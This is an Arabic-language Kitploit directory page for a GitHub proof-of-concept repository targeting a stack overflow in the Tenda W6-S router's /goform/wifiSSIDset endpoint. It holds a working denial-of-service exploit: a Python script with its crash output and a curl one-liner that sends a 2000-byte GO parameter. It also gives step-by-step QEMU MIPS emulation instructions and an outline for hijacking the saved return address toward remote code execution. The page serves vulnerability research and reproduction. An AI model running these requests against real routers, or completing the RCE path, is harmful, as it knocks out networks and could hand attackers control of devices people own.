Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset — إثبات المفهوم (PoC) لثغرة تجاوز سعة المكدس CVE-2026-67822 في جهاز Tenda W6-S عبر /goform/wifiSSIDset: أداة إعادة إنتاج لحرمان الخدمة (DoS)، وطبقة محاكاة QEMU MIPS، وهيكل حمولة تنفيذ تعليمات برمجية عن بُعد (RCE) مفاهيمي. | Kitploit
أدوات/GitHubGitHub/hunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset
أمان الأنظمة المدمجةالتحليل الديناميكي (عزل)أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالأمان الأجهزة وإنترنت الأشياءتطوير الحمولاتتحليل البرامج الثابتةاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubhunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

إثبات المفهوم (PoC) لثغرة تجاوز سعة المكدس CVE-2026-67822 في جهاز Tenda W6-S عبر /goform/wifiSSIDset: أداة إعادة إنتاج لحرمان الخدمة (DoS)، وطبقة محاكاة QEMU MIPS، وهيكل حمولة تنفيذ تعليمات برمجية عن بُعد (RCE) مفاهيمي.

عرض المستودع
منذ 13 أياملم تتم المراجعة بعد

CVE-2026-67822 — تجاوز سعة المخزن المؤقت للمكدس في wifiSSIDset لجهاز Tenda W6-S (PoC)

إثبات المفهوم (PoC) المرافق لمقالة Hunt-Benito "GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler".

CVE-2026-67822 (درجة خطورة CVSS 9.8 حرجة، CWE-121) هو تجاوز سعة مخزن مؤقت قائم على المكدس في formwrlSSIDset()، وهي دالة C تقف خلف نقطة النهاية /goform/wifiSSIDset من خادم /bin/httpd الخاص بنقطة الوصول اللاسلكية Tenda W6-S (خادم ويب مشتق من GoAhead).

root@kitploit:~
char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

التأثير المؤكد: رفض الخدمة (انهيار httpd). التأثير المحتمل: تنفيذ تعليمات برمجية عن بُعد (معمارية MIPS، بدون حارس مكدس (stack canary) / بدون ASLR في نسخة البناء).


محتويات المستودع


بدء سريع: إعادة إنتاج رفض الخدمة (DoS)

ضد جهاز W6-S حقيقي (عنوان IP الافتراضي للشبكة المحلية 192.168.5.10) أو مثيل مُحاكى:

root@kitploit:~
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

المكافئ في سطر واحد:

root@kitploit:~
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

بعد عودة الطلب، تظل واجهة الإدارة معطلة حتى إعادة تشغيل الطاقة (power-cycle).


إعادة الإنتاج بدون عتاد مادي (QEMU MIPS + fake_apmib.so)

يتوقع /bin/httpd وجود شرائح Tenda الحقيقية (libapmib.so، خدمة cfmd، وعنوان MAC للشبكة المحلية). يحاكي وسيط fake_apmib.c القدر الكافي فقط من هذه المكونات للسماح لـ httpd بالإقلاع داخل نظام ملفات البرنامج الثابت المُحاكى. ويحاكي هذا الإعداد أسلوب الباحث الأصلي.

1. بناء الوسيط لمعمارية MIPS بنمط big-endian

root@kitploit:~
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. شبكة المضيف — جسر (bridge) + TAP

root@kitploit:~
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. إقلاع ضيف MIPS من طراز Malta

root@kitploit:~
$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. داخل الضيف: إعداد الواجهة وتجهيز البرنامج الثابت

root@kitploit:~
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. استخدام chroot وتشغيل httpd مع الوسيط

root@kitploit:~
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

أصبحت واجهة الإدارة الآن قابلة للوصول عبر http://192.168.5.10 (بيانات الدخول الافتراضية admin / admin)، ويعمل poc_dos.py ضدها تمامًا كما يعمل ضد العتاد الحقيقي.

تختلف التوقيعات (prototypes) الدقيقة لدوال المساعدة الداخلية apmib/cfmd لدى Tenda بين إصدارات البرامج الثابتة. تحقق منها مقابل libapmib.so الحقيقي على هدفك (objdump -T libapmib.so / IDA) وعدّل fake_apmib.c حسب الحاجة.


المسار المفاهيمي لتنفيذ التعليمات عن بُعد (RCE)

يوثّق exploit_conceptual.py بنية الاستغلال فيما يتجاوز رفض الخدمة:

root@kitploit:~
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

لا يعيد هذا الهيكل توجيه سوى $ra. تحويل الاختطاف إلى تنفيذ تعليمات فعلي يتطلب إما shellcode لمكدس غير محمي بـ NX أو سلسلة ROP مُجمّعة من أجزاء تعليمات (gadgets) في صورة البرنامج الثابت المحددة — وكلاهما خاص بنسخة البناء ومتروك عمدًا للباحث. رفض الخدمة مؤكد؛ أما تنفيذ التعليمات عن بُعد فهو أسوأ الحالات المحتملة التي يعكسها متجه CVSS (C:H/I:H).


الاستخدام القانوني / المسؤول

هذا الكود مخصص لأبحاث الأمن المصرَّح بها فقط. شغّله حصريًا ضد الأجهزة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. لا تستخدمه ضد شبكات أو عتاد لا تتحكم فيه.

المراجع

  • NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
  • الشرح الأصلي لإثبات المفهوم (trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
  • MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
  • صفحة منتج Tenda W6-S: https://www.tendacn.com/material/show/103478
تنزيل الأداة
المنتج المتأثرنقطة الوصول اللاسلكية Tenda W6-S
البرنامج الثابت المتأثرv1.0.0.4(510)
درجة CVSS v3.19.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-121 (تجاوز سعة المخزن المؤقت القائم على المكدس)
نقطة النهاية المعرّضة للثغرةPOST /goform/wifiSSIDset (المعلّمات GO وindex)
المكتشف / الإشادةtrister
الملفالغرض
poc_dos.pyمُعيد إنتاج مؤكد لثغرة رفض الخدمة. يرسل معلّمة GO بحجم يفوق الحد ويكتشف انهيار httpd الناتج. المكتبة القياسية فقط — بدون تبعيات.
exploit_conceptual.pyهيكل استغلال مفاهيمي لتنفيذ التعليمات عن بُعد (RCE). يوضّح شكل اختطاف تدفق التنفيذ (الحشو حتى موضع $ra المحفوظ ثم الكتابة فوقه) وأداة مساعدة للأنماط الدورية (cyclic patterns) لاستنتاج الإزاحة حتى $ra تجريبيًا. لا يتضمن shellcode جاهزًا للعمل ولا عناوين gadgets.
fake_apmib.cوسيط LD_PRELOAD يحاكي استدعاءات عتاد/MIB الخاصة بـ Tenda ليتمكن /bin/httpd من الإقلاع داخل ضيف QEMU MIPS — وهي التقنية المستخدمة لإعادة إنتاج الثغرة دون جهاز مادي.
الاستدعاء المُعترَضالقيمة المُرجَعةالسبب
apmib_init()1تخطّي تهيئة العتاد/MIB
ConnectCfm()1محاكاة استجابة خدمة cfmd
GetValue("lan.ip", …)192.168.5.10عنوان IP إداري ثابت
ioctl(SIOCGIFHWADDR)00:11:22:33:44:55عنوان MAC وهمي
connect()تمرير مباشرتمرير اتصالات المقابس المحلية/بروتوكول TCP وحلّها